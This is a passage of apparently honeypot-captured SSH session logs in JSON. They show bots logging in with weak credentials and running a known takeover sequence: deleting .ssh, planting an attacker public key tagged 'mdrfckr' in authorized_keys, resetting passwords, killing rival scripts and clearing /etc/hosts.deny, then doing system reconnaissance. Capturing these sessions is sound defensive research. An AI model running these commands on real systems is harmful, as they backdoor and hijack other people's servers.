Processor"},{"seq":9,"at":"2026-08-27T11:33:42.466351+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:33:43.663546+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:33:44.421812+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:33:45.438093+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:33:46.197628+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:33:46.596140+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:33:47.358590+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:33:47.948276+00:00","kind":"output","latency_ms":null,"data":" 11:33:47 up 7 days, 8:23, 0 user, load average: 0.34, 0.32, 0.37\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:33:48.708934+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:33:49.275026+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:33:50.033809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:33:50.608454+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:33:51.367296+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:33:51.680023+00:00","kind":"output","latency_ms":null,"data":"top - 11:33:51 up 7 days, 8:23, 0 user, load average: 0.34, 0.32, 0.37\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:33:52.437186+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:33:52.977530+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:33:53.736949+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:33:54.180311+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:33:54.934598+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:33:55.724540+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:33:56.480771+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:33:57.643389+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:33:58.400282+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:33:59.497055+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456789m","method":"password","accepted":true,"tier":"other"}]} {"id":"ff093cec-f590-4c1c-bd7f-e90971facd80","name":"inland-tender-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":55966,"username":"anu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:33:52.709062+00:00","ended_at":"2026-08-27T11:33:53.939195+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2057,"events":[{"seq":1,"at":"2026-08-27T11:33:40.271933+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:33:40.619651+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:33:43.413214+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:33:43.413580+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:33:43.758378+00:00","kind":"input","latency_ms":null,"data":"echo -e \"anu\\nq6PhCEC5PdcN\\nq6PhCEC5PdcN\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:33:44.104147+00:00","kind":"input","latency_ms":null,"data":"echo \"anu\\nq6PhCEC5PdcN\\nq6PhCEC5PdcN\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:33:44.449639+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:33:44.450134+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:33:44.801930+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:33:45.391546+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:33:45.741560+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:33:46.372623+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:33:46.736169+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:33:46.736956+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:33:47.091260+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:33:47.091903+00:00","kind":"output","latency_ms":null,"data":" 11:33:47 up 7 days, 8:23, 0 user, load average: 0.25, 0.19, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:33:47.435772+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:33:47.436807+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:33:47.787741+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:33:47.790280+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:33:48.145697+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:33:48.649275+00:00","kind":"output","latency_ms":null,"data":"top - 11:33:48 up 7 days, 8:23, 0 user, load average: 0.25, 0.19, 0.17\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:33:48.994831+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:33:49.455538+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:33:49.805909+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:33:50.178084+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:33:50.525775+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:33:51.022861+00:00","kind":"output","latency_ms":null,"data":"anu"},{"seq":29,"at":"2026-08-27T11:33:51.371363+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:33:52.360718+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:33:52.709535+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:33:53.834456+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"anu","password":"anu","method":"password","accepted":true,"tier":"other"}]} {"id":"6227696f-f72d-4455-b05d-6bf07c9df165","name":"gloomy-lanky-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":49668,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:33:34.784949+00:00","ended_at":"2026-08-27T11:33:36.983931+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2280,"events":[{"seq":1,"at":"2026-08-27T11:33:07.667906+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:33:07.933196+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:33:11.239269+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:33:13.226460+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:33:13.490550+00:00","kind":"input","latency_ms":null,"data":"echo \"root:csWIgjkNIcri\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:33:13.753270+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:33:14.017883+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:33:14.761262+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:33:15.453655+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:33:15.718873+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:33:16.955792+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:33:17.214261+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:33:18.484084+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:33:18.752226+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:33:19.635656+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:33:19.900890+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:33:21.115773+00:00","kind":"output","latency_ms":null,"data":" 11:33:21 up 7 days, 8:23, 0 user, load average: 0.31, 0.3, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:33:21.379758+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:33:23.548444+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:33:23.812866+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:33:25.685732+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:33:25.950488+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:33:27.592115+00:00","kind":"output","latency_ms":null,"data":"top - 11:33:27 up 7 days, 8:23, 0 user, load average: 0.31, 0.3, 0.29\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:33:27.856522+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:33:29.403490+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:33:29.669725+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:33:31.691116+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:33:31.948527+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:33:33.385591+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:33:33.647286+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:33:34.520519+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:33:34.786462+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:33:36.908496+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"zaq12WSX","method":"password","accepted":true,"tier":"other"}]} {"id":"1000f9a7-5a10-4144-8b34-43e7dbc7b374","name":"emerald-regal-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57586,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:33:13.248082+00:00","ended_at":"2026-08-27T11:33:14.551311+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T11:32:57.340135+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:32:57.639004+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:33:02.605200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:33:02.605595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:33:02.900061+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UvYDsZT3a5VP\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:33:03.194621+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:33:03.490920+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:33:03.491754+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:33:03.788178+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:33:04.290152+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:33:04.587571+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:33:05.181117+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:33:05.480917+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:33:05.481450+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:33:05.779782+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:33:05.780323+00:00","kind":"output","latency_ms":null,"data":" 11:33:05 up 7 days, 8:23, 0 user, load average: 0.19, 0.19, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:33:06.075250+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:33:06.620724+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:33:06.914801+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:33:07.658658+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:33:07.954997+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:33:08.782006+00:00","kind":"output","latency_ms":null,"data":"top - 11:33:08 up 7 days, 8:23, 0 user, load average: 0.19, 0.19, 0.16\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:33:09.077151+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:33:09.492215+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:33:09.787537+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:33:10.542828+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:33:10.839741+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:33:11.288238+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:33:11.583993+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:33:12.953361+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:33:13.248863+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:33:14.464209+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"welcome@2024","method":"password","accepted":true,"tier":"other"}]} {"id":"030de59d-01f2-4271-a646-497462f59b23","name":"velvet-barren-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37188,"username":"deployer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:59.093176+00:00","ended_at":"2026-08-27T11:31:59.758305+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2055,"events":[{"seq":1,"at":"2026-08-27T11:31:47.754179+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:31:48.080351+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:31:52.404719+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:31:52.405028+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:31:52.735708+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nSSRowKKgihrc\\nSSRowKKgihrc\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:31:53.063855+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nSSRowKKgihrc\\nSSRowKKgihrc\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:31:53.390732+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:31:53.392832+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:31:53.719620+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:31:54.305015+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:31:54.634716+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:31:55.227720+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:31:55.558058+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:31:55.558537+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:31:55.888311+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:31:55.888786+00:00","kind":"output","latency_ms":null,"data":" 11:31:55 up 7 days, 8:22, 0 user, load average: 0.25, 0.18, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:31:56.222502+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:31:56.223693+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:31:56.565430+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:31:56.566037+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:31:56.894138+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:31:56.894647+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:56 up 7 days, 8:22, 0 user, load average: 0.25, 0.18, 0.17\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:31:57.224746+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:31:57.225739+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:31:57.553869+00:00","kind":"input","latency_ms":null,"data":"uname 